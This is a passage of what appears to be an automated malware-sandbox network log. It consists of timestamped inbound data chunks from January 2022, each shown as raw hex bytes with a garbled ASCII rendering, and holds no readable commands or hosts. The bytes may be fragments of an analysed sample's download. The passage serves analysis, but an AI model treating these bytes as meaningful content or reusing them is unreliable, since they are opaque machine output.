8a a2 81 81 42 a7 48 9a a0 aa 29 e2 c4 c4 e5 bc e3 8c a6 d5 88 3f 84 d1 d0 c0 56 c9 29 cf 66 f2 17 71 55 fc 74 87 27 a3 68 05 f6 d0 3d 79 7e 21 a2 Data Ascii: Hy{CO:5`)X\|*:1waXeN.kr}E4NFCB+v4 c@JeaRO&7)cSqkJ>W?\amH`pD1%9b{Y{nz.BH)?V)fqUt'h=y~!
2022-01-14 03:59:52 UTC	4830	IN	Data Raw: 09 db b6 c0 35 ba ff fe a9 ed d0 3b b5 c5 64 c5 71 7c 97 81 ba 3b 03 44 3b 02 b7 e6 0b e3 32 d7 dd 1a b5 ba 99 41 41 9f f9 4f e1 6a ac 69 27 84 08 70 3e fe f7 b8 a3 05 9c 98 f4 f3 28 0d 20 22 6d 46 79 fe bf 8b d5 91 b5 99 00 aa 96 09 70 df e4 6d 1a c9 10 a9 24 ba 91 2a dc d2 a1 ea 51 68 da 72 20 81 12 4d 42 31 3f 86 e8 00 4a 8c 6b 86 97 78 c8 9d ba 0d 60 47 17 55 7e 80 3c c8 40 bb 74 bd b8 b1 b2 75 fa f2 60 94 6c 7c 84 48 72 83 a7 89 27 2f 4b 56 4d 17 e2 db fc 86 f0 11 54 7b 6e 09 10 61 d7 23 22 0a 58 cb f8 91 4a 61 c4 86 26 e2 ba 6b 28 bd 10 a1 5d 1d 5f 2c 25 72 b2 80 2a 57 e3 4b 3a 8f 9b 01 35 3b 48 03 2e a4 85 b7 47 72 6f 30 df 0b 36 0d 8a 05 18 95 cb c9 23 66 ec 2b 1e 0e 87 88 92 c3 88 fa ff 9e ac 00 82 e4 ae e1 03 c6 80 df 9d b4 8f 65 eb 24 d7 73 8c Data Ascii: 5;dq\|;D;2AAOji'p>( "mFypm$Qhr MB1?Jkx`GU~<@tu`l\|Hr'/KVMT{na#"XJa&k(]_,%rWK:5;H.Gro06#f+e$s
2022-01-14 03:59:52 UTC	4846	IN	Data Raw: 40 df 10 fa 58 a6 d1 5d a1 ac 40 21 3c d6 3d ce 7b dd 1b ab 83 2e 63 09 36 17 3e d2 ae f9 7c 92 c0 0d f3 a4 07 0f 5d 46 c4 50 a8 39 d3 fa ac 10 d6 cf 23 0e 3f c4 f5 91 fe b4 5d b3 e7 e2 93 c4 f5 08 36 7b 0f 09 e9 10 5a ab a0 06 15 3a 78 ad c4 82 c8 fb c6 cc 66 d9 4b 44 84 1f cf b9 2a a0 23 08 4a b9 d9 a8 a3 bb 79 2d d7 10 02 a1 fb eb ec 11 43 f7 cd 7c bc 14 e5 6c 04 a0 c4 fc b7 3f 89 e6 39 9f 4d dc d1 fe fe 4f 36 a5 6e ad f2 06 7c 97 b2 9e c6 1a 90 fb 45 be d2 92 a6 82 35 6a c7 a1 06 31 e1 e8 32 51 b5 cf e8 7e b0 b6 83 97 4d fa f8 c8 d2 b3 8d f7 26 c8 cc 57 b0 48 2c 4b 2d e8 60 0c 78 a6 3d eb f4 4b 1a 5d 83 97 b9 26 7f a4 e3 ef cf 49 dd a0 b0 6d 87 a8 b0 90 72 3f be 0b f3 da 9e 60 db 0d 16 14 c7 36 49 cc e9 fa 18 4c 1a f1 cf 92 ad e8 62 18 f1 a8 ea a2 f8 Data Ascii: @X]@!<={.c6>\|]FP9#?]6{Z:xfKD*#Jy-C\|l?9MO6n\|E5j12Q~M&WH,K-`x=K]&Imr?`6ILb
2022-01-14 03:59:52 UTC	4862	IN	Data Raw: 03 cc 53 ee a0 8d 0e 12 2c 73 c7 c9 e6 cd e2 91 49 fc 23 82 14 ed 3f ae 22 c1 de d2 9d fd d7 52 0d 4c 4d 5c 08 55 2c bf 5c f6 db f9 76 55 3e 75 ce c9 21 26 d4 9d c6 f2 ac f7 0a 54 97 4b a3 92 47 8c 78 8e d2 af 18 ef 54 a9 32 6d c4 bc 9e 1f 49 cb 37 22 cd b7 7f 96 2f fc e2 78 ae 2b da 99 f9 f7 6c b2 c2 66 f9 b1 b6 ca dc 8e 2f 92 9f 2e 4d ba 5b 5c 14 5f f8 20 fb d3 51 a0 a6 3c 98 ad 59 97 64 aa 34 e9 46 fb 94 52 8d cd 9e 6c 19 6f 9f be 89 a8 18 4f 75 02 b5 fa 18 a2 32 65 fa 34 4b 24 6f a6 b8 f2 d7 f0 30 48 fe c2 99 51 0f a8 0b 72 36 fe 67 73 4c b0 74 d8 28 ca ce 87 45 b6 e0 8b 6d 80 df 1b 69 1d d3 2a 4e 9e 0a 03 db 0e 1f 41 7e b8 2a 29 c4 6d 77 81 55 13 65 3a e9 f5 1e 5d 3c 13 ce de 7c 7d b6 c7 9c 85 59 99 1d 1b 30 ba 14 2e 96 c3 b7 05 95 82 e7 70 6f 0c 42 Data Ascii: S,sI#?"RLM\U,\vU>u!&TKGxT2mI7"/x+lf/.M[\_ Q<Yd4FRloOu2e4K$o0HQr6gsLt(EmiNA~)mwUe:]<\|}Y0.poB
2022-01-14 03:59:52 UTC	4878	IN	Data Raw: ac b7 87 35 82 8d a6 69 8d f1 5c 4c 3c 6f 09 23 58 bf 25 4e c5 44 e6 b7 97 a8 ac 90 f7 22 cd d3 c6 a8 af 13 7a 91 4a dd ec 19 f6 a4 c5 63 36 f3 8f f2 92 a4 06 29 78 33 70 e6 f0 24 84 b2 0e 74 cd b1 0b d1 d7 53 e0 6c e8 87 2b f1 b7 bb 6f 6c ee eb c5 f2 bc eb 05 b7 98 13 f5 78 59 b5 45 c2 49 df fb 3e 55 e1 27 83 a6 a7 d5 16 73 36 36 90 7b 3b ce e0 6d c9 5f 42 bd 66 36 35 c6 ef b6 7b fc d9 27 44 c1 30 87 09 e6 f0 0d 69 e5 5f 69 96 70 ce e0 f2 ef 28 2a 44 e3 33 79 5b 2d 7f 61 8e f5 9b 60 6c a3 41 c1 f6 3c 32 fa 32 cd f7 4d aa 58 47 4d e1 28 3d ec 76 0c 72 88 92 37 cc e2 f7 75 6b 48 c8 ca 36 f7 c1 a2 3e d2 88 aa d9 b5 a9 fb 36 7a d6 d9 fa 0e 24 f3 82 4f 98 c7 b3 a5 ac c9 92 41 d8 d0 01 26 fd 8d 0a c4 ed 46 01 bc 2d a0 9d e1 0e 88 18 ff b5 d2 1a d4 1a 93 c7 02 Data Ascii: 5i\L<o#X%ND"zJc6)x3p$tSl+olxYEI>U's66{;m_Bf65{'D0i_ip(*D3y[-a`lA<22MXGM(=vr7ukH6>6z$OA&F-
2022-01-14 03:59:52 UTC	4894	IN	Data Raw: 80 d5 50 91 16 a4 61 c8 96 92 1c 32 ab 66 84 42 cc 40 ae e8 8c 5d 10 43 df 8d 96 f0 71 4d 55 10 3b 3f 6a 15 05 b7 8e 13 38 2f 72 04 8f c4 81 90 4e 9b 2b ea 35 a0 ec 66 ba 10 0a af 65 0c ca de d6 c4 1e 81 6a d3 b5 d7 be ac 13 4e 34 0e fd a0 42 93 56 e5 f8 75 6b 6c 0d 4b 39 c9 3a 39 11 46 04 55 14 ea d9 bf fd 39 d5 72 70 ef ed 7a c4 bf 9f 34 91 b4 f0 28 9b 25 31 9a 07 63 5a de 84 35 72 56 38 0a c7 cb 85 27 be 29 aa 80 b3 86 7b 2d e8 41 56 05 96 bf f6 8c bb 9d 40 01 e6 95 17 d0 32 ce dc 94 4b ec 4a cf 65 52 46 6d 60 72 07 d5 1a 37 0d ec bb 02 27 39 30 7e 3b c2 4c f6 1f e8 1b f1 2e dc 8d ff 0e 1e 27 ff 1e 87 09 95 59 1a 3e 5c 02 7d 34 a5 f6 fa 34 52 bb 93 e2 69 bd 76 1f f9 49 e8 d8 dc fe ba ee 6a 6f e6 7e cc 40 4e e4 b4 4a bd 54 75 d5 bf 78 d9 c5 ce 09 2f 06 Data Ascii: Pa2fB@]CqMU;?j8/rN+5fejN4BVuklK9:9FU9rpz4(%1cZ5rV8'){-AV@2KJeRFm`r7'90~;L.'Y>\}44RivIjo~@NJTux/
2022-01-14 03:59:52 UTC	4910	IN	Data Raw: ab 65 ae b4 cf e4 7c 51 ea 7d 65 55 3a 2e 19 f0 25 5b 15 da 41 ee e1 78 7b 47 b3 28 f1 68 69 9a c2 f8 e4 ff 1b 6b 45 ee d1 44 af 47 93 89 9d 60 cd 02 a2 cb cc e0 83 bb e0 4c eb cc 10 d4 25 69 c2 b2 08 ae a1 ea 07 76 ae 02 b6 3a ed 21 53 ff d2 51 78 da 14 e2 5d ca 8f c5 d8 62 03 6a 23 38 90 8f d6 e7 df e6 1b 37 74 b2 b8 26 02 76 13 d9 30 c5 ed ec c0 7a 67 8c eb b1 5b 36 e0 05 fb 0b bc fc 65 3d 96 6d 67 cc a7 34 80 36 64 f3 4b e9 a0 c6 41 23 6d c2 2e 1d 19 9b ea 45 99 d6 34 de bb 5f 23 2e c5 44 71 13 38 c1 05 5b d5 49 1d f1 96 c5 c3 31 8c 40 c5 18 41 52 39 7b 6a 7c 79 57 26 06 2d 44 59 29 05 44 b5 0d a9 1c 00 91 99 9a 5d a5 9f bd 90 29 38 b9 db 71 c5 0f 3d 99 22 85 87 a6 fc 53 9c 02 f8 7e f3 17 4c 5c 31 13 8d 92 8e b0 f2 a2 8e 4c 15 cb f5 9e 6b 83 96 47 07 Data Ascii: e\|Q}eU:.%[Ax{G(hikEDG`L%iv:!SQx]bj#87t&v0zg[6e=mg46dKA#m.E4_#.Dq8[I1@AR9{j\|yW&-DY)D])8q="S~L\1LkG
2022-01-14 03:59:52 UTC	4926	IN	Data Raw: 8f bd ed 92 40 db f3 e2 aa 04 b0 66 b7 02 22 e0 4d 6e d5 da cd 60 47 18 58 bf a9 5b c1 62 dc da 1a 48 49 19 1a ca 79 25 b0 95 48 6a 1f 57 4c 63 9b af db d2 e5 6a a9 85 1c 7b 72 4f b1 14 c6 18 90 ea c3 be 1d 2d 06 41 74 a6 e8 5d a3 a9 45 d2 e1 76 eb 84 0d 9d c8 3e 16 b0 a8 83 fb fa d5 f5 f1 fe c2 d1 11 c4 bd 62 0c 8c 9a 61 93 b1 13 49 c9 e6 07 6c 6a 70 ce 2d a7 72 9b 68 13 8d d0 ad da f9 0d 01 e8 aa 1f c1 e8 44 47 55 14 7d f7 40 0d c7 ae 88 02 95 db b9 43 a5 e4 f7 68 30 0e 68 03 3c fd 12 d1 40 e3 90 a5 85 01 39 66 4f 0e f6 b2 e5 ba f4 9a b7 44 5e 50 3a af fa 56 17 99 d3 7b 95 d3 ea 98 fc ef bc 5a e7 1c ef da a7 af ce 5d 2b ee 93 7f e2 08 df 52 06 ea 07 10 af ef ef 4f 31 a2 89 b5 03 23 d4 bc d8 e1 03 56 10 6b 2f 3d 49 7b a2 d9 c8 93 89 07 37 95 ff 53 b7 22 Data Ascii: @f"Mn`GX[bHIy%HjWLcj{rO-At]Ev>baIljp-rhDGU}@Ch0h<@9fOD^P:V{Z]+RO1#Vk/=I{7S"
2022-01-14 03:59:52 UTC	4942	IN	Data Raw: 38 48 0f 68 0c 74 eb 37 b7 8a 0c b6 c2 36 52 47 58 90 e3 1c 76 d5 09 60 70 1c 89 d0 2f 37 28 68 44 86 27 7a 98 c9 89 59 82 96 d9 96 b6 ef 8e 9b 01 f8 29 62 f1 43 77 06 09 02 dd 74 2b 5b aa 56 de af 91 ef 38 bb 42 36 b9 c7 c6 38 cf 62 2f 8a 64 7d d7 e4 e4 93 0e eb 7f 45 e4 df 3d 57 4b 69 c2 c5 6f d0 67 4b c3 2c e6 c6 db 4e a3 56 b4 46 aa c2 0d ed 08 ec c6 10 0a dd c9 b0 c0 d3 57 7b 78 d3 ff 12 40 75 39 32 e1 7d 3c d7 e7 30 c5 db da ef a6 5c 76 b4 f3 58 a7 f5 9f 1e 13 99 98 10 c2 07 09 26 34 91 3b 0c 0e 4c 1f 40 7d 6f 32 67 05 ec 92 08 8a 68 09 93 71 62 59 a6 08 c3 2a 81 11 0d 05 5f 09 bd 3d 40 de 17 97 ae 1a a5 4c 3b 8a ba b7 ba dd 94 8b b8 fd 65 b3 1d f3 b8 0b fa 94 72 48 23 65 3c 9a b6 eb d9 cc dc 3f 87 95 2c da a1 b8 98 32 fd 7a b8 a8 de 9f a0 a2 9c a3 Data Ascii: 8Hht76RGXv`p/7(hD'zY)bCwt+[V8B68b/d}E=WKiogK,NVFW{x@u92}<0\vX&4;L@}o2ghqbY*_=@L;erH#e<?,2z
2022-01-14 03:59:52 UTC	4958	IN	Data Raw: 28 45 8c 0d 60 e9 09 14 d4 8c d4 a1 76 27 98 b3 15 12 b3 81 d0 bf ce 49 6b 8c d5 16 3a d9 b0 c2 42 1f c2 8e 98 52 69 ee e1 1d f1 37 24 c3 32 c9 04 b4 02 da f7 2f 80 6b b7 e8 4f d3 25 97 bf 40 42 9e f9 8b b6 4a de 1f 0f 5a 35 38 09 b7 d2 8a aa d7 7e 27 ae c2 b4 11 2a 26 9d 84 68 7e 36 e7 fe cc fd 8a 53 96 bf 1c 8d b2 99 ab 38 5f 5e 79 61 8d 37 89 bd 09 90 e2 2c b5 8d ac 2d 17 8c 92 1b 75 99 eb f2 67 8f b4 ed 7d e4 b6 25 00 d3 95 d7 91 bc 6d e2 d6 f2 95 1a 3c 3c 73 34 a8 d9 a1 5e d7 2c 84 5d 9c 5f 45 45 a6 b8 88 f5 04 03 4f 9b 71 77 83 93 74 67 93 ee 36 09 f7 2e 07 62 ba 99 ce 78 94 67 d4 bc e7 2e 25 7a 45 cc 6f d0 4d 2d 38 63 23 45 d6 69 ec ad 63 23 22 06 14 42 04 09 61 22 fd 2d ae 5d a6 a5 2f 28 2c 1a 18 30 b0 08 bc 2d f3 f7 9f 37 44 8e 63 0e 8e 84 f6 8c Data Ascii: (E`v'Ik:BRi7$2/kO%@BJZ58~'*&h~6S8_^ya7,-ug}%m<<s4^,]_EEOqwtg6.bxg.%zEoM-8c#Eic#"Ba"-]/(,0-7Dc
2022-01-14 03:59:52 UTC	4974	IN	Data Raw: 11 5a e7 24 a5 48 8c 7e 9b 32 e4 6c 96 83 d5 2c 5b 6b e6 c9 84 fb 75 4d 76 58 d4 d4 96 93 0e 39 37 68 0f 0a c4 cf 5d 64 b2 07 30 1a 64 7a 23 a0 77 27 0b cf 72 b4 bc 06 1e 2b a2 e7 6d 4d 65 c8 94 c4 40 af 05 98 9b 1c a2 10 f9 e3 4f b2 d3 de da b8 ca 62 45 c3 75 e1 57 ea 4c d1 2e 73 2e a7 c0 b8 17 78 ea 46 27 59 30 6a 62 77 7e 22 dd 39 07 82 ed 14 a0 c5 73 e2 d8 95 ad 96 4b 2c 75 da a7 ed 39 e3 f9 3b 4c 95 26 c7 b6 07 f0 38 01 ad 89 18 bf f1 48 d3 1c 19 48 a5 3d b4 c6 65 be d2 ff 80 06 af bf 31 5e d2 d6 e4 71 bb a7 03 36 1d 4c 45 51 58 d2 63 ec aa 52 e8 47 82 e2 6e bd b7 f3 c4 4f 6c c5 7d 90 89 d0 eb 1b 92 7d 7b f7 94 64 ec f4 01 a2 8d fe a2 57 8e ec 63 c4 42 68 43 db c0 88 51 66 16 61 5c 53 9a ac 98 a9 04 68 f1 b7 bd 48 58 de 03 8b 32 95 4b 57 fe 8d 66 d4 Data Ascii: Z$H~2l,[kuMvX97h]d0dz#w'r+mMe@ObEuWL.s.xF'Y0jbw~"9sK,u9;L&8HH=e1^q6LEQXcRGnOl}}{dWcBhCQfa\ShHX2KWf
2022-01-14 03:59:52 UTC	4990	IN	Data Raw: a4 96 92 ee 62 cc cd c6 a2 ab 02 5d f8 9f 21 19 70 07 16 03 2c 91 85 ee b1 15 e3 a1 76 1f 09 3f dc 48 f7 5f 1b 78 1a c6 8c 45 03 c9 00 a5 75 d0 a4 29 eb 92 8f bc 89 0f 00 92 03 db 35 aa a2 fa a0 70 f0 af 5b ee 57 a2 22 ab 2b 78 04 c2 ff ac a7 0e e5 32 08 d1 07 da 52 0c 90 fd 7b 2e 08 4b 86 8e be f8 b8 64 45 df 12 f8 60 3b 56 3d 8a 85 bc 8e e8 9c 52 01 3c ef 10 e7 fb d0 68 45 64 3c 6c 65 c5 aa 57 77 d6 6d 50 0e 0b e1 10 99 e9 d8 76 1b 8c e0 b3 ae e8 b1 5a 2e ec e4 86 34 5b 76 34 75 7d ac 62 d7 f7 f0 5d b8 eb a3 da 32 7d 69 73 1d a7 38 e0 d1 da 6f 4d 02 b9 60 24 eb c6 de ad 6c 53 7d e3 cb 91 4b f2 0c 41 38 b1 78 5c fe 95 6b b0 f4 66 2d d4 9a 12 4a 6d 77 35 96 2d 0a 7b 86 bc 35 12 79 29 5a 01 c4 cd 52 5f a2 0a 58 ed 0f 15 16 84 61 72 5a 9c 5a 27 11 4a 71 fd Data Ascii: b]!p,v?H_xEu)5p[W"+x2R{.KdE`;V=R<hEd<leWwmPvZ.4[v4u}b]2}is8oM`$lS}KA8x\kf-Jmw5-{5y)ZR_XarZZ'Jq
2022-01-14 03:59:52 UTC	5006	IN	Data Raw: 27 be 58 a2 79 60 5f 31 79 b6 4f 50 f5 6a 54 77 2c 76 62 34 8e 51 0d fb 54 42 48 bc 12 6a 24 5b d5 d6 e8 89 65 aa 3a be 71 01 6b 28 f8 aa cc 2d 0f d1 ab 55 13 0a 43 7e e9 7b 22 6b 8c cb 80 12 47 b4 da 7f 06 a8 31 0a e5 5e d3 dc d3 d1 cf f9 5b 84 50 9b 7f 2c 3b 90 5f 82 1a 9c e6 25 95 a5 a9 20 58 26 46 db 5f e7 bb 9c eb 14 64 dc 0b 94 1f 44 db 10 86 3f 6f 91 2f a7 bf 30 74 cc a5 fb 48 a6 fe 64 d4 51 e9 94 67 a2 0c 58 a8 98 64 be 7b 48 ee b0 02 03 1f e0 24 42 d5 58 e7 06 ec 66 a0 8e 09 23 a4 11 6b c6 08 3d 47 54 ee 02 1a 23 bf 4c c3 a8 08 9b 37 fe 60 79 0f 0a 6d b5 d4 eb d2 e7 65 08 9e 0b 00 c4 88 e7 7d 64 15 b0 f9 a3 e5 42 49 93 eb f0 8b 1a b4 91 75 05 bc 78 2b ea 60 31 9b a8 e7 f4 ac 9c 8d 3d 51 5b 2d f9 40 0e ca b9 c6 e1 17 e3 6c 39 4e 1f 9f 3c 3a 0c 7c Data Ascii: 'Xy`_1yOPjTw,vb4QTBHj$[e:qk(-UC~{"kG1^[P,;_% X&F_dD?o/0tHdQgXd{H$BXf#k=GT#L7`yme}dBIux+`1=Q[-@l9N<:\|
2022-01-14 03:59:52 UTC	5022	IN	Data Raw: c1 20 06 a0 0a 72 71 cb 36 83 e2 2c 2c 17 b3 f0 2c 4a d6 88 5a da af 28 de 0c 5d 66 52 d6 05 fe ba 1a 48 c2 cd 6a ef eb bf 74 34 fe a5 9a 5e a8 c3 49 43 a6 04 77 9e e9 0d 61 51 fb fc 95 72 9a ff a0 1c d1 6b 21 b4 b0 fb 09 91 e8 c6 82 7c 82 5d b7 47 2b e8 3c 01 5f 73 15 f8 24 66 d2 1e 73 46 31 38 e1 d8 d2 4b db 8a 9e 35 54 a2 78 5a e3 dc 20 e4 3e 84 c4 c5 68 f9 08 6a 23 72 13 d2 27 b0 e1 b3 26 9f e4 7a be 0c 6d 86 a3 9e f7 c3 48 75 9e 1f ef dd 85 12 57 aa 8c 1a b9 7c 66 d3 6c 2e 9a d2 91 4a 82 9f 45 ca 6d 08 80 c0 8f b5 3f e1 79 e0 d9 03 ee 3e f1 62 47 45 89 53 81 20 73 d5 94 3f 05 4f 6a dc 32 9a b6 05 66 2b ea a6 88 b4 2e 38 31 71 46 84 10 72 50 5c 35 e0 30 30 09 89 8a 40 22 20 de 58 e3 1a 7f 1f 1c 54 84 30 cf 26 f8 90 d9 1f 87 40 ef a1 a6 f5 1d 12 e6 07 Data Ascii: rq6,,,JZ(]fRHjt4^ICwaQrk!\|]G+<_s$fsF18K5TxZ >hj#r'&zmHuW\|fl.JEm?y>bGES s?Oj2f+.81qFrP\500@" XT0&@
2022-01-14 03:59:52 UTC	5038	IN	Data Raw: 1d 8f b3 e6 f1 07 ed 93 2f 18 93 2e c0 ed 4c 3e e3 e1 6d af c0 c3 ff 48 58 55 52 e4 70 f9 bf 58 28 56 56 04 95 6a fb 57 96 73 bc 32 d7 a3 58 f4 b3 9c bb 8d 5e 09 71 17 12 ce aa 2c ba fd 3e a9 87 8a 52 4d 54 96 ed 2a 90 ab ec ff 79 1d 21 f9 7d 3b 34 28 a8 35 b1 d9 a4 da 3c f9 6e 4a 1e 6c fb 34 bc 74 0d 9f 57 1c b6 73 74 1f 3a c8 5e e6 b3 aa 3d 48 c4 12 59 98 6e 87 66 26 39 ea f2 8b 8a d9 72 fd 30 c1 ff 8b ed fd c5 10 4b ed f0 58 98 c9 5d 4c 64 29 04 5d 82 f3 ff 80 d0 f4 b6 36 98 b0 c1 df 6e fe 48 44 e2 06 c4 d0 ba c5 6f 8a ca fd cc 11 e3 f3 63 1f 12 a2 a5 d1 ec 64 e9 bb 59 df a4 41 f3 38 63 f1 5e 56 9d 9f c3 32 5f a8 74 5e b0 e7 16 02 02 02 a8 a6 71 bb 8a 2f 57 2e dc a3 e5 06 d3 a6 2e 57 31 6b d8 77 45 91 3e 55 96 96 a8 86 e7 63 40 2f ec 3a 6f f1 7a e2 8a Data Ascii: /.L>mHXURpX(VVjWs2X^q,>RMT*y!};4(5<nJl4tWst:^=HYnf&9r0KX]Ld)]6nHDocdYA8c^V2_t^q/W..W1kwE>Uc@/:oz
2022-01-14 03:59:52 UTC	5054	IN	Data Raw: 9c 86 e2 6a b3 ba e6 3d 72 3d 63 62 ff 6c f5 57 86 59 a4 d0 6c 9b ad e9 52 3a 0b 0d 59 cc bd d6 45 27 2b 4b dd 5f ce 5a 45 ea 97 03 c7 5b 89 e3 de ca 62 db 96 b3 8c 3a f6 08 36 a4 11 5b 84 46 11 99 9d ee 4a 2e e6 d9 79 36 96 c6 8b b3 da 2a 02 66 6f 9e 6e a4 f7 f4 00 d7 5c ed e3 04 94 52 46 02 e9 b0 6f 2e 49 92 8e 6b b2 b9 42 9a 2d b8 96 65 5a 51 5f 0d 8c 94 05 d6 27 77 30 43 4d f3 51 f4 c5 e9 39 11 90 5e 72 cd e5 f5 49 95 9a c5 18 d7 93 ab a0 ce cf d0 71 d5 12 82 5a b3 52 de 43 62 bf 78 8e cb 74 b1 3c 08 f4 34 2a 6c 94 45 d9 6d d8 95 51 cc 0b fc e9 78 62 01 4c 9d cf 1c 7c e3 dd 74 cc 6b 76 37 4d 4c 1c 3b 90 8f 84 e1 d2 ab 8f 81 fa 19 52 8f 2f 1a d8 36 cb af fa cd 96 20 99 3f fc f1 fa 1c e8 a1 51 b5 4e bc 3f 36 9b 91 4d 1a b0 3d 96 b2 9a 26 fa a5 19 8d a7 Data Ascii: j=r=cblWYlR:YE'+K_ZE[b:6[FJ.y6fon\RFo.IkB-eZQ_'w0CMQ9^rIqZRCbxt<4lEmQxbL\|tkv7ML;R/6 ?QN?6M=&
2022-01-14 03:59:52 UTC	5070	IN	Data Raw: 0a f9 15 ac f0 8c fb 16 a0 0a fc 4c 5b 8e 12 53 e0 d7 48 b6 68 85 15 67 de 7b 52 79 18 e9 cd ca 4e dc 85 a7 2c 6c 01 af 15 0a 43 8c a6 38 23 b0 53 80 1f 8e 2a 55 40 de cf 37 ba 60 53 b6 26 2b c3 ef 9e 86 86 d8 70 4b 70 72 ac ec 30 99 08 36 c9 fc 5d a2 20 76 40 da d9 b2 9d 61 f6 65 39 4a 22 d4 f0 f0 67 89 24 db 2a 39 da 21 e4 fb 5e 60 74 d1 06 6c fd 7a 25 f9 48 7c 90 50 64 6b e5 0a 70 0d 87 79 73 68 43 b8 0e c2 2f 1e 66 d4 7b db 00 1b 50 79 33 6f 35 74 d1 c5 d7 24 86 03 11 04 8d aa b7 dc fa 4e cb 71 a6 b5 d1 f0 34 57 b5 18 73 ad e4 38 96 8b 11 93 5e d0 f2 d5 6a 2c d3 98 ce 18 86 e3 ac 8f f1 eb af 20 6b 04 aa be 37 7b 03 de b9 13 44 ad b0 68 01 6d 8d bf 68 d5 6a 06 2e e8 77 06 52 75 17 88 cd 53 4b 18 8b 99 b1 43 27 63 a7 f8 56 6c 85 75 be f4 e4 0e ca 55 c1 Data Ascii: L[SHhg{RyN,lC8#SU@7`S&+pKpr06] v@ae9J"g$9!^`tlz%H\|PdkpyshC/f{Py3o5t$Nq4Ws8^j, k7{Dhmhj.wRuSKC'cVluU
2022-01-14 03:59:52 UTC	5086	IN	Data Raw: 25 cf 22 01 35 f7 6f 8e fe 92 4f f7 6e b4 fe 62 da 89 f3 b0 79 0d 27 d4 49 a6 e3 45 6b 20 e9 1e fc 7e d3 ff a0 a3 5a c7 d7 b5 2d 32 d9 b0 7f 37 ae b4 51 6a 19 1a aa 30 59 cb e8 fd 9a 9e 00 8a f1 63 08 84 a9 f1 53 d1 a7 77 4f 80 7e ae 8a 13 87 c1 a0 a2 a1 a1 62 40 87 d9 31 00 1b ba b7 3a 16 bd 0a 0a 16 5d 97 16 3e 8f 07 bf ed 3d bf 4f 4a 04 a4 84 bf 42 b2 87 d9 91 19 99 4e 4f d3 e5 a5 e5 4e 36 b1 50 04 82 0e 08 99 35 12 ca 8b 3e 16 f3 82 7e 62 8e 08 61 48 df 61 99 c7 15 06 0f 82 8e 82 d0 92 9f e3 3d 99 4f b3 ff 64 8a ab 62 cb 97 5d a3 97 38 03 8b a7 95 23 3f c2 26 3c 57 36 3a 9c 0d e0 9c 87 52 ed 80 19 b9 e9 1b 63 ed 41 90 f0 db 75 67 bc 28 d2 f1 f0 a5 7c aa bc b2 88 88 59 75 11 8d 21 65 2f 24 d0 f7 d6 01 d8 da e9 2b 5a bd 02 47 48 e4 98 ca 35 58 f8 2a 27 Data Ascii: %"5oOnby'IEk ~Z-27Qj0YcSwO~b@1:]>=OJBNON6P5>~baHa=Odb]8#?&<W6:RcAug(\|Yu!e/$+ZGH5X*'
2022-01-14 03:59:52 UTC	5102	IN	Data Raw: 69 f5 ce 0d 0a e3 b7 5c cf b5 c7 f6 3c 06 a0 7c ec 69 1a 0a 9f e0 7c a3 c7 71 9f 59 dd 33 35 f8 6f 8b 12 1a c3 3a dd 15 dd f8 2d 3f 79 6a 22 ad 13 6d 00 9e 3b e1 62 e5 85 49 24 35 3f 40 f6 a8 f7 1c 93 ca 71 48 8c 9c dd 53 11 a3 04 81 be 5a 37 2d 89 c8 50 7d 5a 2f 65 8d f9 a7 cb a0 7b 47 1b 94 b1 59 39 da 11 f4 c1 cc e6 60 d2 e4 a1 4b 5f 58 69 a8 01 9b 95 56 8a 05 bc 97 83 16 28 e5 21 62 27 38 ce 9b 7e 7b c2 9a 1d 16 71 6b 76 b8 66 38 87 2a 3c 00 72 66 e9 1d 56 83 21 19 af 0f a2 d0 c9 0a 62 dd e6 51 a3 ca 40 aa 8b 67 b9 a2 3e 3c cc 3e 2e fe 39 11 13 99 76 91 90 4b b8 d6 13 36 a7 0b d0 a7 48 c9 9b 8a c9 6c 50 e1 20 2f 1e 0a 3f 3a 86 e3 a8 2e 86 a4 69 b1 7e cb 31 a6 c0 f5 bb 63 0e 11 36 4e 02 31 6d 97 21 37 01 12 81 ff 2c 1e d7 78 97 39 74 c4 45 d8 d8 b9 ac Data Ascii: i\<\|i\|qY35o:-?yj"m;bI$5?@qHSZ7-P}Z/e{GY9`K_XiV(!b'8~{qkvf8*<rfV!bQ@g><>.9vK6HlP /?:.i~1c6N1m!7,x9tE
2022-01-14 03:59:52 UTC	5118	IN	Data Raw: 8d 3b 5a 3f 43 aa 9e 23 d4 c8 a3 0d 44 2b f9 75 d4 55 a5 15 e1 13 4d c6 3f 8e f5 5c f7 83 7b a3 eb ea 12 b8 d8 d5 12 a9 43 68 d6 bd 85 a9 7d 7e e6 21 c3 32 1b f8 d9 30 fe 4e c4 e2 f1 2f a1 e1 99 b0 50 00 1c 7f 17 a6 16 1e d2 b7 17 e3 aa ec 13 64 c4 22 f7 30 89 b8 7b 36 d6 b0 2a 2f e8 1c a4 25 e8 43 2e 2f ba 18 c9 1b 84 7e 96 4a 41 61 6e 19 17 b0 e7 cd 28 ab 4e 74 af 7a ae 55 37 03 76 c1 90 6b 8a 3f 77 d0 a1 2c d4 18 af 8c 3b 3d c7 b5 f4 bd 54 bb 01 9a 89 e3 1d 80 17 5c 73 9d 4a 43 bc 34 6f 3a b5 ca 5d 14 f5 40 97 d0 e7 9f f7 94 0a 82 35 fa 8b df 47 82 82 94 54 cf 4e a1 44 e6 2d 0b b7 9f d3 98 d2 1c 64 9e 2c e6 7d eb fd e9 ca eb a3 04 a4 61 36 8d 50 65 12 b4 13 0f 8c 88 dc f5 87 82 c3 ac db 47 33 fe f6 0b 59 01 df 94 8c 33 c7 50 65 4c bb 43 62 0e 2f c4 ef Data Ascii: ;Z?C#D+uUM?\{Ch}~!20N/Pd"0{6*/%C./~JAan(NtzU7vk?w,;=T\sJC4o:]@5GTND-d,}a6PeG3Y3PeLCb/
